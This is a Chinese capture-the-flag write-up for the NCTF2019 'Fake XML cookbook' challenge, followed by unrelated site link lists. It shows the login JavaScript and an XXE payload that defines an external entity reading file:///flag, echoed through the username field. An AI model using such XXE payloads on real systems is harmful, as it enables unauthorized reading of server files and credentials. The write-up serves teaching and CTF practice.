当前位置: 首页 > news >正文

[NCTF2019]Fake XML cookbook [XXE注入]

题目源代码 

 
function doLogin(){
	var username = $("#username").val();
	var password = $("#password").val();
	if(username == "" || password == ""){
		alert("Please enter the username and password!");
		return;
	}
	
	var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
    $.ajax({
        type: "POST",
        url: "doLogin.php",
        contentType: "application/xml;charset=utf-8",
        data: data,
        dataType: "xml",
        anysc: false,
        success: function (result) {
        	var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
        	var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
        	if(code == "0"){
        		$(".msg").text(msg + " login fail!");
        	}else if(code == "1"){
        		$(".msg").text(msg + " login success!");
        	}else{
        		$(".msg").text("error:" + msg);
        	}
        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatus);
        }
    }); 
}

漏洞点: 

var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 

可以自己构造xml语句填进去,导致xml注入,而且在TIPS中会显示(用户名)登录错误

会回显用户名,以用户名作为回显位,回显flag 

 构造payload,这样登录错误就会在<msg>里面显示用户名,但是用户名引用了XML外部实体,所以会显示file:///flag的内容

<!DOCTYPE note [<!ENTITY xxe SYSTEM "file:///flag">]>定义外部实体的名字以及地址

<!DOCTYPE note [
  <!ENTITY xxe SYSTEM "file:///flag">
]>
<user>
<username>
&xxe;   //注意这里有 ; 
</username>
<password>111</password></user>

一开始笨了吧唧的光在输入框里构造payload了,完全忘了还可以bp抓包,把<!DOCTYPE note [
  <!ENTITY xxe SYSTEM "file:///flag">]>放到前面去,任意修改位置 

 

相关文章:

  • 第八部分:进程创建退出等待和替换
  • 深入探究C语言中的二进制世界:从原理到实践
  • 国产数据库突围,要过“生态关”
  • java多并发问题与解决办法以及为什么不能在多线程环境中使用非线程安全的集合?
  • ES 查看索引的属性的http请求
  • 2025年3月个人工作生活总结
  • 如何修复 SQL Server 数据库中的恢复挂起状态?
  • 数字电子技术基础(三十七)——利用Multisim软件实现16线-4线编码器和4线-16线译码器
  • LeetCode Hot100 刷题笔记(9)—— 二分查找、技巧
  • SQL Server:触发器
  • 【最后203篇系列】026 FastAPI+Celery(续)
  • 网络原理(详解TCP原理,应答机制三握四挥等)
  • oracle常用sql
  • 2025年渗透测试面试题总结-某 欧科云链-安全开发(题目+回答)
  • 使用 Sales_data 类实现交易合并(三十)
  • Clion刷题攻略-配置Cmake
  • TypeError: __init__() got an unexpected keyword argument ‘device_type‘
  • 模型部署与调用
  • OrbStack 作为 Mac 用户的 Docker 替代方案
  • 数据结构每日一题day9(顺序表)★★★★★
  • 风雨天涯梦——《袁保龄公牍》发微
  • 美国务卿鲁比奥将前往土耳其参加俄乌会谈
  • 日本广岛大学一处拆迁工地发现疑似未爆弹
  • 走进“双遗之城”,领略文武风采:沧州何以成文旅新贵
  • 男子退机票被收90%的手续费,律师:虽然合规,但显失公平
  • 上海现有超12.3万名注册护士,本科及以上学历占一半